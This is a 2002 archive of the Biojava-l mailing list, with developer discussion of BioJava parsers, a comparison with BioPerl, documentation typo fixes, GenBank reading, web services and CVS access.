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From pehkonen@hytti.uku.fi Thu Feb 7 08:32:42 2002
From: pehkonen@hytti.uku.fi (Petri Pehkonen)
Date: Thu, 7 Feb 2002 10:32:42 +0200 (WET)
Subject: [Biojava-l] DAG-viewer
In-Reply-To: <200201121701.g0CH1SA18261@pw600a.bioperl.org>
Message-ID:
Hi,
I'm modifying DAG-viewer code for my own purposes. It could be easier if I
had API-documentation. So does anybody know where to find API-docs for
classes used in DAG-Edit? Altavista found references wich referred to
www.fruitfly.org pages but the references were old and those pages didn't
exist anymore under that domain. So does anybody know?
-Petri Pehkonen-
From simon.brocklehurst@CambridgeAntibody.com Thu Feb 7 10:32:12 2002
From: simon.brocklehurst@CambridgeAntibody.com (Simon Brocklehurst)
Date: Thu, 07 Feb 2002 10:32:12 +0000
Subject: [Biojava-l] HitSectionSAXParser and BlastLikeVersionSupport
References: <80A38867B1DBD511A8C9009027764C8C6D49BC@lexchange.lexgen.com>
Message-ID: <3C6257AC.C94D5456@CambridgeAntibody.com>
Roy Park wrote:
> Hi there,
>
> I'm trying to write a small program that reads in only the HIT section of
> BLAST output (i.e. starting with ">"), by instantiating a
> HitSectionSAXParser class, and I noticed that the BlastLikeVersionSupport
> variable oVersion needs to be already populated by the time the class is
> instantiated (e.g. with BlastLikeVersionSupport.iProgram = some value).
> Thing is, the iProgram member currently has a private scope, and there is no
> method available to set it to some other value (i.e. setProgram()).
>
> I know that from the look of the *SAXParser classes, they were written
> specifically only to process the full BLAST results. Could we make all
> *SAXParser classes public, as well as make setters for the
> BlastLikeVersionSupport class? Let me know what you think. Thanks!
Hi Roy,
We may need to bounce this back and forth a bit to get a clear idea of what
you're trying to do.
I don't think making all the classes public is the way to go - we're trying to
keep things both easy to use *and* maintainable. Hopefully we can find another
solution.
To recap on the essential idea of event-based parsing... the beauty of
event-based parsing is that you need consume only the events you are interested
in.
Thus in your specific case (assuming you're dealing with real Blast output, and
not some format not supported by the framework) you about can get the
*functionality* you require by simply writing an appropriate ContentHandler that
deals with SAX messages relating only to the HIT section.
Does this way of working *not* meet your needs for some reason?
We were aware when doing putting in the "BlastLikeSAXPars"ing part of the
framework that whilst the design scales well to dealing with very large data
sets, it may not meet future performance needs. And also that the particular
implementation of the parser may not meet all needs for other unforeseen
reasons.
Thus, if you look in the source of BlastSAXParser class, you will see reference
to the Builder pattern. The idea here would be to pass in "part"
implementations where the sum of the parts define the whole SAXParser. This
would provide an elegant way of configuring the parser on the fly to ignore
certain parts of the input.
We didn't put this in, mainly because there are other things to in life than
write parsers. However, if we are not at a stage where some refactoring around
the idea of providing Builder type functionality for parsers is needed, we can
look at doing something along these lines.
What do you think - I may have completely missed the point of what you're trying
to do.
Simon
--
Simon M. Brocklehurst, Ph.D.
Head of Bioinformatics & Advanced IS
Cambridge Antibody Technology
The Science Park, Melbourn, Cambridgeshire, UK
http://www.CambridgeAntibody.com/
mailto:simon.brocklehurst@CambridgeAntibody.com
From pehkonen@hytti.uku.fi Thu Feb 7 09:55:04 2002
From: pehkonen@hytti.uku.fi (Petri Pehkonen)
Date: Thu, 7 Feb 2002 11:55:04 +0200 (WET)
Subject: [Biojava-l] Dag-edit again
In-Reply-To: <200201112238.g0BMcLA12281@pw600a.bioperl.org>
Message-ID:
Hi,
To be more specific, I'm currently finding the API-documentation and/or
sourcecode of class org.bdgp.swing.widget.DataAdapterChooser. If you know
where to find it let me know please!
-Petri Pehkonen-
From tmo@ebi.ac.uk Thu Feb 7 11:36:00 2002
From: tmo@ebi.ac.uk (Tom Oinn)
Date: Thu, 07 Feb 2002 11:36:00 +0000
Subject: [Biojava-l] Dag-edit again
References:
Message-ID: <3C6266A0.DBD2605C@ebi.ac.uk>
Petri Pehkonen wrote:
>
> Hi,
>
> To be more specific, I'm currently finding the API-documentation and/or
> sourcecode of class org.bdgp.swing.widget.DataAdapterChooser. If you know
> where to find it let me know please!
Have you tried following the links from bdgp.org perhaps? In general if
people are sticking to the naming conventions then this is the easiest
way of doing thing. Five minutes of link following leads me to :
http://sourceforge.net/project/showfiles.php?group_id=36855
This is the sourceforge module for DAG-Edit, and as you can download
source from there you can presumably generate the javadoc yourself.
You might also want to look at ego, which is our in
house GO data viewer, and includes some graph view methods, it's located
at http://www.ebi.ac.uk/ego
Hope that helps,
Tom
btw - any other GO related people on this list? Just curious...
From td2@sanger.ac.uk Thu Feb 7 14:39:28 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 7 Feb 2002 14:39:28 +0000
Subject: [Biojava-l] Announce: BioJava Bootcamp 2002
In-Reply-To: <20020205111457.B30611@adnah.sanger.ac.uk>; from td2@sanger.ac.uk on Tue, Feb 05, 2002 at 11:14:58AM +0000
References: <20020205111457.B30611@adnah.sanger.ac.uk>
Message-ID: <20020207143928.E23228@jabba.sanger.ac.uk>
For anyone who's thinking of attending the bootcamp, the
topics we're planning to cover include:
- The sequence model
Symbols, Strings, and Alphabets
Annotated sequences
Loading and saving sequences
- BioJava for sequence analysis
- Accessing databases
Ensembl support
The Distributed Annotation System
General purpose biological databases
- Building graphical applications
- BioJava design goals and patterns
Mutable BioJava objects and the event framework
How BioJava uses XML.
But if there's anything else that you think should be on
the agenda, please drop me a mail!
Thomas.
From ampadki@lbl.gov Thu Feb 7 18:45:57 2002
From: ampadki@lbl.gov (Anu Padki)
Date: Thu, 07 Feb 2002 10:45:57 -0800
Subject: [Biojava-l] Compare Bioperl and Biojava Pls.
Message-ID: <3C62CB65.E80DD611@lbl.gov>
Hi Gurus at Biojava,
I am trying to find out which one to go for, BioPerl or BioJava?
Can someone tell me why there was a need for BioJava ?
How is it better/different from BioPerl?
Thanks in advance
From simon.brocklehurst@CambridgeAntibody.com Thu Feb 7 20:23:23 2002
From: simon.brocklehurst@CambridgeAntibody.com (Simon Brocklehurst)
Date: Thu, 07 Feb 2002 20:23:23 +0000
Subject: [Biojava-l] Compare Bioperl and Biojava Pls.
References: <3C62CB65.E80DD611@lbl.gov>
Message-ID: <3C62E23A.B46288D1@CambridgeAntibody.com>
Anu Padki wrote:
> Hi Gurus at Biojava,
>
> I am trying to find out which one to go for, BioPerl or BioJava?
>
> Can someone tell me why there was a need for BioJava ?
> How is it better/different from BioPerl?
Hi,
I'm not sure that "which is better/different BioJava and BioPerl" is
necessarily the best way for you to look at this. Both BioJava and
BioPerl aim to offer re-usable code that developers can make use of
under a pretty unrestrictive license agreeement.
Rather than looking at the BioJava and BioPerl APIs, my advice would be
to figure out which platform/language (Java or Perl) you prefer, and
then choose the corresponding Open-Bio API.
There are big differences between the Java platform and Perl - and these
reasons aren't necessarily easy to understand fully. For what they're
worth, here are my views (without the reasons):
o If you are looking to build simple computer systems, then either Perl
or Java are probably about equally good.
o If you think you might want to build complex computer systems, then
Java is far preferable to Perl.
Much more important than my views, though, is that you need to choose a
programming language that you enjoy and feel comfortable working with.
You may also want to consider Python, as well as Java and Perl - there
is a BioPython project too.
Good luck in figuring out what you want to do.
Simon
--
Simon M. Brocklehurst, Ph.D.
Head of Bioinformatics & Advanced IS
Cambridge Antibody Technology
The Science Park, Melbourn, Cambridgeshire, UK
http://www.CambridgeAntibody.com/
mailto:simon.brocklehurst@CambridgeAntibody.com
From birney@ebi.ac.uk Thu Feb 7 19:44:42 2002
From: birney@ebi.ac.uk (Ewan Birney)
Date: Thu, 7 Feb 2002 19:44:42 +0000 (GMT)
Subject: [Biojava-l] Compare Bioperl and Biojava Pls.
In-Reply-To: <3C62CB65.E80DD611@lbl.gov>
Message-ID:
On Thu, 7 Feb 2002, Anu Padki wrote:
> Hi Gurus at Biojava,
>
> I am trying to find out which one to go for, BioPerl or BioJava?
>
> Can someone tell me why there was a need for BioJava ?
> How is it better/different from BioPerl?
Ha! I am not answering that one ;) Matt... Thomas... Simon, I'd be
interested in yoru answer....
>
> Thanks in advance
>
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
-----------------------------------------------------------------
Ewan Birney. Mobile: +44 (0)7970 151230, Work: +44 1223 494420
.
-----------------------------------------------------------------
From tony_watkins@ntlworld.com Thu Feb 7 21:24:43 2002
From: tony_watkins@ntlworld.com (Tony Watkins)
Date: Thu, 07 Feb 2002 21:24:43 +0000
Subject: [Biojava-l] Spelling in Documentation
Message-ID: <5.1.0.14.0.20020207205704.00a23d60@pop.ntlworld.com>
Hi.
Just some simple errors that I think may be spelling related. Apologies
for it being this shallow, but I don't know anything about bioinformatics -
period. However - I hope these observations prove a little useful.
Documentation -
Overview.
(original)
"Hopefuly, as the project matures, each of these areas will be fleshed out.
Also, hopefuly we will develop code for:"
(suggested correction)
*Hopefully*, ... Also, *hopefully* we will ...
Javadoc - package org.biojava.bio.dist
Description for DistributionTools appears not to follow the format of other
class summaries.
(original)
"Title: DistributionTools.java Description: A static class to hold static
methods for calculations and maniputlations using Distributions."
(suggested correction)
... and *manipulations* using Distributions.
package - org.biojava.bio.dp
class statepath
(original)
Extends the Alignment interface so that it is explicitly used to represent
a state path through an HMM, and the associated emitted sequence and
likelyhoods.
(suggested correction)
Extends the Alignment interface so that it is explicitly used to represent
a state path through an HMM, and the associated emitted sequence and
*likelihoods*.
class BaumWelchTrainer
(original)
Train a hidden markov model using maximum likelyhood.
(suggested correction)
Train a hidden markov model using maximum *likelihood*.
class WMAsMM
(original)
Wraps a weight matrix up so that it appears to be a very simple hmm.
(suggested correction)
Wraps a weight matrix up so that it appears to be a very simple HMM.
That's all for now...
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From David Huen Thu Feb 7 21:55:11 2002
From: David Huen (David Huen)
Date: Thu, 7 Feb 2002 21:55:11 +0000 (GMT)
Subject: [Biojava-l] Compare Bioperl and Biojava Pls.
In-Reply-To:
Message-ID:
On Thu, 7 Feb 2002, Ewan Birney wrote:
> On Thu, 7 Feb 2002, Anu Padki wrote:
>
> > Hi Gurus at Biojava,
> >
> > I am trying to find out which one to go for, BioPerl or BioJava?
> >
> > Can someone tell me why there was a need for BioJava ?
> > How is it better/different from BioPerl?
>
> Ha! I am not answering that one ;) Matt... Thomas... Simon, I'd be
> interested in yoru answer....
>
In the interest of universal concord, BioPython and BioRuby should be
considered too though I might have to draw a line at BioC# ;-). It can't
form a valid URL anyway....
David Huen
From dag@sonsorol.org Thu Feb 7 22:11:39 2002
From: dag@sonsorol.org (chris dagdigian)
Date: Thu, 07 Feb 2002 17:11:39 -0500
Subject: [Biojava-l] spam, viral email & info needed for the next Open Bio Foundation newsletter
Message-ID: <3C62FB9B.5010609@sonsorol.org>
Hi folks,
Sorry for the mass cross-post. I've got a few quick things to mention:
(1) The quality of our mailing lists has been degraded both by more
instances of spam getting through our filters and the ocasional viral
payload sent by Outlook users.
The spam problem has been addressed- We have finally faxed in all of the
paperwork necessary (11 pages!) for the O|B|F to become a subscriber to
the combined RBL/RSS/DUL blackhole databases maintained by the folks at
mail-abuse.net. People interested in what RBL+ is should visit this URL:
http://www.mail-abuse.org/rbl+/
We are going to refuse inbound email from (a) known spammers and spam
friendly networks, (b) known open relays and (c) IP addresses blocks
used by ISP dialup customers. Once MAPS processes our info and allows
our mail server to query the service I think that 99% of the spam will
go away. This was the case back when the RBL service was free and we
used it all the time.
The virus problem is going to take longer to fix. Because we are going
to transition from Linux-on-Alpha to Sun Solaris systems we are going to
delay the process of purchasing or downloading antivirus scanners that
hook into sendmail until we are up and running on the new boxes.
Ok. Enough talk about bad stuff...on to the good stuff...
**
It's time for another Open Bioinformatics Foundation Newsletter
**
The first one we wrote back in October was very well recieved and it is
past time to put out a new issue. I'm soliciting information from the
various project heads-- write up anything you want about your project
and get it to me within a week or so for inclusion.
As an example of what we are trying to do, see the 1st newsletter online
at
http://open-bio.org/pipermail/open-bioinformatics-foundation/2001-October/000001.html
Regards,
Chris
--
Chris Dagdigian,
Life Science IT & Research Computing Freelancer
Office: 617-666-6454, Mobile: 617-877-5498, Fax: 425-699-0193
Yahoo IM: craffi
From td2@sanger.ac.uk Thu Feb 7 22:56:58 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 7 Feb 2002 22:56:58 +0000
Subject: [Biojava-l] Compare Bioperl and Biojava Pls.
In-Reply-To: ; from smh1008@cus.cam.ac.uk on Thu, Feb 07, 2002 at 09:55:11PM +0000
References:
Message-ID: <20020207225658.A30804@adnah.sanger.ac.uk>
On Thu, Feb 07, 2002 at 09:55:11PM +0000, David Huen wrote:
>
> In the interest of universal concord, BioPython and BioRuby should be
> considered too though I might have to draw a line at BioC# ;-). It can't
> form a valid URL anyway....
As I suggested at the hackathon, anyone who wants this is
welcome to take the BioJava codebase, run it through a script
to give all the method names an initial capital letter, and
add a few blocks of unsafe code here and there.
...or perhaps not...
Thomas
From td2@sanger.ac.uk Thu Feb 7 23:18:47 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 7 Feb 2002 23:18:47 +0000
Subject: [Biojava-l] Compare Bioperl and Biojava Pls.
In-Reply-To: <3C62CB65.E80DD611@lbl.gov>; from ampadki@lbl.gov on Thu, Feb 07, 2002 at 10:45:57AM -0800
References: <3C62CB65.E80DD611@lbl.gov>
Message-ID: <20020207231846.B30804@adnah.sanger.ac.uk>
On Thu, Feb 07, 2002 at 10:45:57AM -0800, Anu Padki wrote:
> Hi Gurus at Biojava,
>
> I am trying to find out which one to go for, BioPerl or BioJava?
I'd just like to second Simon's comments on this: both these
packages (and BioPython, and BioRuby, for that matter) contain
a lot of useful code. Unless there's some very specific
feature in one of the libraries which is definitely going
to save you a lot of time, I think you're better off making
a choice on the basis of which language you prefer, rather than
which library.
To a large extent, I think the designs of the various
bioinformatics libraries reflect the designs and philosophies
of their implementation languages.
> Can someone tell me why there was a need for BioJava ?
Beacuse people were writing bioinformatics software in Java,
and wanted to share core interfaces and components.
> How is it better/different from BioPerl?
In many areas, the differences are fairly peripheral, and
have as much to do with language differences as anything
else.
One area where there /is/ a big difference is that the
Sequence APIs in BioJava are designed to support sequence
analysis applications. At the core, there is a strongly
abstract algebraic symbol/alphabet model. There is also
a fairly sophisticated dynamic programming library included,
which is a good starting point for many types of analsis.
Bioperl's strengths lie more in the direction of launching
external tools to perform analyses (as might be expected,
given Perl's background).
I hope you find this helpful -- good luck with whichever
library you choose,
Thomas.
From zhongg01@med.nyu.edu Fri Feb 8 04:30:09 2002
From: zhongg01@med.nyu.edu (Guoneng Zhong)
Date: Thu, 7 Feb 2002 23:30:09 -0500
Subject: [Biojava-l] Compare Bioperl and Biojava Pls.
In-Reply-To: <3C62E23A.B46288D1@CambridgeAntibody.com>
Message-ID: <88F4B06A-1C4C-11D6-B08E-0003931A8F84@med.nyu.edu>
Agree. But I do want to emphasize that Perl is much faster to implement
for small scale projects. However, that comes at a price. Perl syntax
(even with its "use strict" whatever) is much less restrictive, and not
only does this make it easier or more annoying to work with, it tends to
create less robust programs that are more difficult to debug (ok, all
this is my experience with working with Perl and java).
But I do think that it depends a lot on the programmer's style. This
leads me to ask a tangential question. Has the phrase "Web services"
entered the bio world? Since we have people using Perl and Java and
Python (wonder if there will be a PHP one), and eventually Microsoft
might want to do something when the informatics side becomes successful,
wouldn't it be time to think about interoperability using HTTP (instead
of that Corba thing that is way too complex and rigid).
So do words like SOAP or UDDI or just web services have a place yet in
bioinformatics?
I don't need a whole essay as it might not be too pertinent to this
newsgroup. Some direction would help. (Though if there is interest, it
would and should start with java since java is so far the most used and
powerful language for web services, IMHO).
Guoneng
On Thursday, February 7, 2002, at 03:23 PM, Simon Brocklehurst wrote:
> Anu Padki wrote:
>
>> Hi Gurus at Biojava,
>>
>> I am trying to find out which one to go for, BioPerl or BioJava?
>>
>> Can someone tell me why there was a need for BioJava ?
>
>> How is it better/different from BioPerl?
>
> Hi,
>
> I'm not sure that "which is better/different BioJava and BioPerl" is
> necessarily the best way for you to look at this. Both BioJava and
> BioPerl aim to offer re-usable code that developers can make use of
> under a pretty unrestrictive license agreeement.
>
> Rather than looking at the BioJava and BioPerl APIs, my advice would be
> to figure out which platform/language (Java or Perl) you prefer, and
> then choose the corresponding Open-Bio API.
>
> There are big differences between the Java platform and Perl - and these
> reasons aren't necessarily easy to understand fully. For what they're
> worth, here are my views (without the reasons):
>
> o If you are looking to build simple computer systems, then either Perl
> or Java are probably about equally good.
>
> o If you think you might want to build complex computer systems, then
> Java is far preferable to Perl.
>
> Much more important than my views, though, is that you need to choose a
> programming language that you enjoy and feel comfortable working with.
> You may also want to consider Python, as well as Java and Perl - there
> is a BioPython project too.
>
> Good luck in figuring out what you want to do.
>
> Simon
> --
> Simon M. Brocklehurst, Ph.D.
> Head of Bioinformatics & Advanced IS
> Cambridge Antibody Technology
> The Science Park, Melbourn, Cambridgeshire, UK
> http://www.CambridgeAntibody.com/
> mailto:simon.brocklehurst@CambridgeAntibody.com
>
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
From td2@sanger.ac.uk Fri Feb 8 14:36:30 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Fri, 8 Feb 2002 14:36:30 +0000
Subject: [Biojava-l] Spelling in Documentation
In-Reply-To: <5.1.0.14.0.20020207205704.00a23d60@pop.ntlworld.com>; from tony_watkins@ntlworld.com on Thu, Feb 07, 2002 at 09:24:43PM +0000
References: <5.1.0.14.0.20020207205704.00a23d60@pop.ntlworld.com>
Message-ID: <20020208143630.D24163@jabba.sanger.ac.uk>
On Thu, Feb 07, 2002 at 09:24:43PM +0000, Tony Watkins wrote:
> Hi.
>
> Just some simple errors that I think may be spelling related. Apologies
> for it being this shallow, but I don't know anything about bioinformatics -
> period. However - I hope these observations prove a little useful.
Thanks for reporting these. They're fixed in our CVS
repository now, ready for the 1.2.0 release.
Thomas.
From td2@sanger.ac.uk Fri Feb 8 10:03:01 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Fri, 8 Feb 2002 10:03:01 +0000
Subject: [Biojava-l] Compare Bioperl and Biojava Pls.
In-Reply-To: <88F4B06A-1C4C-11D6-B08E-0003931A8F84@med.nyu.edu>; from zhongg01@med.nyu.edu on Thu, Feb 07, 2002 at 11:30:09PM -0500
References: <3C62E23A.B46288D1@CambridgeAntibody.com> <88F4B06A-1C4C-11D6-B08E-0003931A8F84@med.nyu.edu>
Message-ID: <20020208100301.A24041@jabba.sanger.ac.uk>
On Thu, Feb 07, 2002 at 11:30:09PM -0500, Guoneng Zhong wrote:
>
> But I do think that it depends a lot on the programmer's style. This
> leads me to ask a tangential question. Has the phrase "Web services"
> entered the bio world? Since we have people using Perl and Java and
> Python (wonder if there will be a PHP one), and eventually Microsoft
> might want to do something when the informatics side becomes successful,
> wouldn't it be time to think about interoperability using HTTP (instead
> of that Corba thing that is way too complex and rigid).
Yes, there's definitely been interest in this direction. From
my viewpoint, SOAP looks quite attractive for bioinformatics
because it's (potentially) good for `coarse grained' communication:
where each message consists of a complex (and potentially
polymorphic) data structure.
One existing application is the DAS protocol:
http://www.biodas.org/
This is essentially a `web service' in that it uses XML messages
over an HTTP transport layer. It doesn't actually use SOAP
envelopes (the original protocol predates the widespread use
of SOAP), but it's likely to be replaced by a SOAP-based protocol
in the not-too-distant future.
[If you're interested, BioJava includes a complete DAS client
library. There's also a server framework which makes it reasonably
easy to set up DAS servers backed by BioJava databases].
> So do words like SOAP or UDDI or just web services have a place yet in
> bioinformatics?
Certainly, there are quite a few people (myself included)
who would love to see some framework for service discovery.
Right now, UDDI looks like a very promising solution to this,
but to the best of my knowledge, applications which use it
are still in the planning or early prototype stages. This
will certainly change, though.
You might also be interested in the following projects, which
are looking at a web services approach to bioinformatics
infrastructure:
http://www.biomoby.org/
http://omnigene.sourceforge.net/
Regards,
Thomas.
From Wiepert.Mathieu@mayo.edu Fri Feb 8 15:33:11 2002
From: Wiepert.Mathieu@mayo.edu (Wiepert, Mathieu)
Date: Fri, 8 Feb 2002 09:33:11 -0600
Subject: [Biojava-l] Feature key table
Message-ID: <2F41CC6C9777D311ACBD009027B108EA02920033@excsrv32.mayo.edu>
Hi,
Sort of off topic, but I wanted to have a list of allowable features in a
table format.
http://www.ebi.ac.uk/embl/Documentation/FT_definitions/feature_table.html
has all the defs, but I assumed someone had already had some sort of table
downloadable as well. Could be wrong of course. Is there something like
that?
Thanks,
-Mat
From matthew_pocock@yahoo.co.uk Fri Feb 8 14:08:59 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Fri, 08 Feb 2002 14:08:59 +0000
Subject: [Biojava-l] Spelling in Documentation
References: <5.1.0.14.0.20020207205704.00a23d60@pop.ntlworld.com>
Message-ID: <3C63DBFB.6070703@yahoo.co.uk>
Thanks Tony,
I think that most (if not all) of these errors are mine - that's what
you get for trusting a dyslexic with documentation ;-)
Matthew
Tony Watkins wrote:
> Hi.
>
> Just some simple errors that I think may be spelling related. Apologies
> for it being this shallow, but I don't know anything about
> bioinformatics - period. However - I hope these observations prove a
> little useful.
>
> Documentation -
>
> Overview.
>
> (original)
> "Hopefuly, as the project matures, each of these areas will be fleshed
> out. Also, hopefuly we will develop code for:"
>
> (suggested correction)
> *Hopefully*, ... Also, *hopefully* we will ...
>
> Javadoc - package org.biojava.bio.dist
>
> Description for DistributionTools appears not to follow the format of
> other class summaries.
>
> (original)
> "Title: DistributionTools.java Description: A static class to hold
> static methods for calculations and maniputlations using Distributions."
>
> (suggested correction)
> ... and *manipulations* using Distributions.
>
> package - org.biojava.bio.dp
>
> class statepath
>
> (original)
> Extends the Alignment interface so that it is explicitly used to
> represent a state path through an HMM, and the associated emitted
> sequence and likelyhoods.
>
> (suggested correction)
> Extends the Alignment interface so that it is explicitly used to
> represent a state path through an HMM, and the associated emitted
> sequence and *likelihoods*.
>
> class BaumWelchTrainer
>
> (original)
> Train a hidden markov model using maximum likelyhood.
>
> (suggested correction)
> Train a hidden markov model using maximum *likelihood*.
>
> class WMAsMM
>
> (original)
> Wraps a weight matrix up so that it appears to be a very simple hmm.
>
> (suggested correction)
> Wraps a weight matrix up so that it appears to be a very simple HMM.
>
>
> That's all for now...
>
>
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
From matthew_pocock@yahoo.co.uk Fri Feb 8 17:12:47 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Fri, 08 Feb 2002 17:12:47 +0000
Subject: [Biojava-l] Restricting annotations
Message-ID: <3C64070F.8020100@yahoo.co.uk>
Hi all. Sorry for the cross-posting.
I was thinking of writing a system to constrain or validate the set of
keys in an annotation bundle. I see that BioPerl has one already. Does
anybody have views about this.
* Is it useful?
* Is it necisary?
* What does it need to validate?
* Do annotations need an ISA slot (like Object.getClass()), or should
you always validate them by hand (like annType.instanceOf(ann))?
* Do slots need any behavior, or are they purely places to put stuff?
My initial plan was to knock something up that validated that an
annotation had a given set of keys, and that their values where of an
apropreate type. I have no wish to implement an entire frames language,
just a bit of validation over our fluffy annotations.
With any luck, we can produce an 'srs formated file' -> 'constrained
annotation bundle' parser that will work for lots of use-cases.
Matthew
From dwaring@u.washington.edu Fri Feb 8 20:09:16 2002
From: dwaring@u.washington.edu (David Waring)
Date: Fri, 8 Feb 2002 12:09:16 -0800
Subject: [Biojava-l] Typo in documentation
Message-ID:
While we are at it
documentation in ChangeType has the following comment.
class MyClassWhichCanFireChangeEvents {
public final static ChangeEvent CHANGE_COLOR = new ChangeEvent(
"Color change",
MyClassWhichCanFireChangeEvents.class,
"CHANGE_COLOR");
// Rest of the class here...
}
ChangeEvent should be ChangeType.
David
From wanner.de@pg.com Fri Feb 8 20:48:36 2002
From: wanner.de@pg.com (wanner.de@pg.com)
Date: Fri, 8 Feb 2002 15:48:36 -0500
Subject: [Biojava-l] NCBI Genbank
Message-ID:
Hello
Very new to bioJava site, wondered if methods are available for parsing NCBI
Genbank information. If possible siting
examples in the documentation would be appreciated. Any suggestions concerning
bioJava and NCBI Genbank would
be welcomed.....
Dave
From cobuy@263.net Sat Feb 9 07:44:52 2002
From: cobuy@263.net (cobuy@263.net)
Date: Sat, 9 Feb 2002 15:44:52 +0800
Subject: [Biojava-l] =?GB2312?B?waq6z7m6wvLN+M/yxPqw3cTq?=
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From cobuy@263.net Sat Feb 9 07:47:13 2002
From: cobuy@263.net (cobuy@263.net)
Date: Sat, 9 Feb 2002 15:47:13 +0800
Subject: [Biojava-l] =?GB2312?B?waq6z7m6wvLN+M/yxPqw3cTq?=
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From td2@sanger.ac.uk Sat Feb 9 08:20:53 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Sat, 9 Feb 2002 08:20:53 +0000
Subject: [Biojava-l] NCBI Genbank
In-Reply-To: <OF48CA8D45.FA773030-ON85256B5A.0071CFCA@na.pg.com>; from wanner.de@pg.com on Fri, Feb 08, 2002 at 03:48:36PM -0500
References: <OF48CA8D45.FA773030-ON85256B5A.0071CFCA@na.pg.com>
Message-ID: <20020209082053.A22473@adnah.sanger.ac.uk>
On Fri, Feb 08, 2002 at 03:48:36PM -0500, wanner.de@pg.com wrote:
> Hello
>
> Very new to bioJava site, wondered if methods are available for parsing NCBI
> Genbank information. If possible siting
> examples in the documentation would be appreciated. Any suggestions concerning
> bioJava and NCBI Genbank would
> be welcomed.....
Does the following code fragment do what you want:
BufferedReader stream = new BufferredReader(
new FileReader("some-genbank-file.gb")
) ;
SequenceIterator si = SeqIOTools.readGenbank(stream);
while (si.hasNext()) {
Sequence seq = si.nextSequence();
// Your processing here...
}
That should work both with 1.1x releases and with 1.2rc1.
If you're just starting, I'd actually recommend you look
at 1.2 -- the project has moved on a long way since the
1.1 releases.
For more information about reading and writing sequence
files, look at:
http://www.biojava.org/tutorials/chap_iobasics.html
Or the JavaDoc documentation for the package
org.biojava.bio.seq.io
Hope this helps,
Thomas.
From tony.watkins@newport.gov.uk Sun Feb 10 13:21:53 2002
From: tony.watkins@newport.gov.uk (Tony Watkins)
Date: Sun, 10 Feb 2002 13:21:53 +0000
Subject: [Biojava-l] More spelling in Documentation
Message-ID: <sc66740a.013@gpo>
Within Documentation, I may have spotted the following ...
Package org.biojava.bio.seq Description
(Original)
This package contains the core classes and interfaces for defining sequences and features, sequence database and iterators, and miscellaneous biological inforation.
(Suggested correction)
... sequence database and iterators, and miscellaneous biological *information*
Package org.biojava.bio.seq.db
Class TabelIndexStore
(Original)
Implements IndexStore as a serialized file for the java data and a tab-delimited file of offets.
(suggested correction)
Implements IndexStore as a serialized file for the java data and a tab-delimited file of *offsets*.
Package org.biojava.bio.seq.io
Class SequenceBuilderFilter
(Original)
Base-class for builders that pass filtered events onto another builders
(Suggested correction)
Base-class for builders that pass filtered events onto another *builder*
Class SwissProtFileFormer
(Original)
Simple filter which handles attribute lines from an Swissprot entry
(Suggested correction)
Simple filter which handles attribute lines from *a* Swissprot entry
Package org.biojava.bio.symbol
Interface Alphabet
(Original)
The set of AtomicSymbols which can be concatanated together to make a SymbolList.
(Suggested correction)
The set of AtomicSymbols which can be *concatenated* together to make a SymbolList.
Exception summary
(Original)
The exception to indicate that an invalid aphabet has been used.
(Suggested correction)
The exception to indicate that an invalid *alphabet* has been used.
Description
(Original)
If the Alphabet can guarantee that there are only ever a finite number of Symbols contained with in it, then it must implement FiniteAlphabet
(Suggested correction)
... a finite number of Symbols contained *within* it, then it ...
That's all for now.
Cheers
From mark.schreiber@agresearch.co.nz Sun Feb 10 22:17:11 2002
From: mark.schreiber@agresearch.co.nz (Schreiber, Mark)
Date: Mon, 11 Feb 2002 11:17:11 +1300
Subject: [Biojava-l] CVS biojava-live and 1.2
Message-ID: <AF026AF0FF4B054590228FD1F1DE51650F41F0@inbox.agresearch.co.nz>
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Hi -
For the less CVS literate amongst us (or just me) how can I set up CVS
to capture the 1.2 branch and the biojava-live branch (and any other
branch for that matter).
Actually could someone summarise what brances there are and what each
one could be used for?
=20Mark Schreiber
=20Bioinformatics
=20AgResearch Invermay
=20PO Box 50034
=20Mosgiel
=20New Zealand
=20
=20PH: +64 3 489 9175
=20
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<P><FONT SIZE=3D2 FACE=3D"Arial">For the less CVS literate amongst us (or=
=20just me) how can I set up CVS to capture the 1.2 branch and the biojav=
a-live branch (and any other branch for that matter).</FONT></P>
<P><FONT SIZE=3D2 FACE=3D"Arial">Actually could someone summarise what br=
ances there are and what each one could be used for?</FONT>
</P>
<P><FONT SIZE=3D2 FACE=3D"Arial"> Mark Schreiber</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial"> Bioinformatics</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial"> AgResearch Invermay</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial"> PO Box 50034</FONT>
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<BR><FONT SIZE=3D2 FACE=3D"Arial"> </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial"> PH: +64 3 489 9175</FONT>
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From dag@sonsorol.org Sun Feb 10 22:34:38 2002
From: dag@sonsorol.org (chris dagdigian)
Date: Sun, 10 Feb 2002 17:34:38 -0500
Subject: [Biojava-l] CVS biojava-live and 1.2
References: <AF026AF0FF4B054590228FD1F1DE51650F41F0@inbox.agresearch.co.nz>
Message-ID: <3C66F57E.1010802@sonsorol.org>
Schreiber, Mark wrote:
> Hi -
>
> For the less CVS literate amongst us (or just me) how can I set up CVS
> to capture the 1.2 branch and the biojava-live branch (and any other
> branch for that matter).
>
> Actually could someone summarise what brances there are and what each
> one could be used for?
>
Mark-
I just finished re-doing and upgrading our anonymous and web-based CVS
server. Point your browser to http://cvs.open-bio.org or
http://cvs.biojava.org/
The updated web interface is pretty slick (still some bugs and broken
internal links sometimes as you get deep into the site...) and allows
you to easily browse the different branches, visualize the diffs between
multiple files and even download custom-generated tarballs.
If you are looking at maintaining local copies of the latest source code
then you can do this pretty easily via anonymous cvs as long as there
are no firewall or proxy issues blocking things. Just follow the example
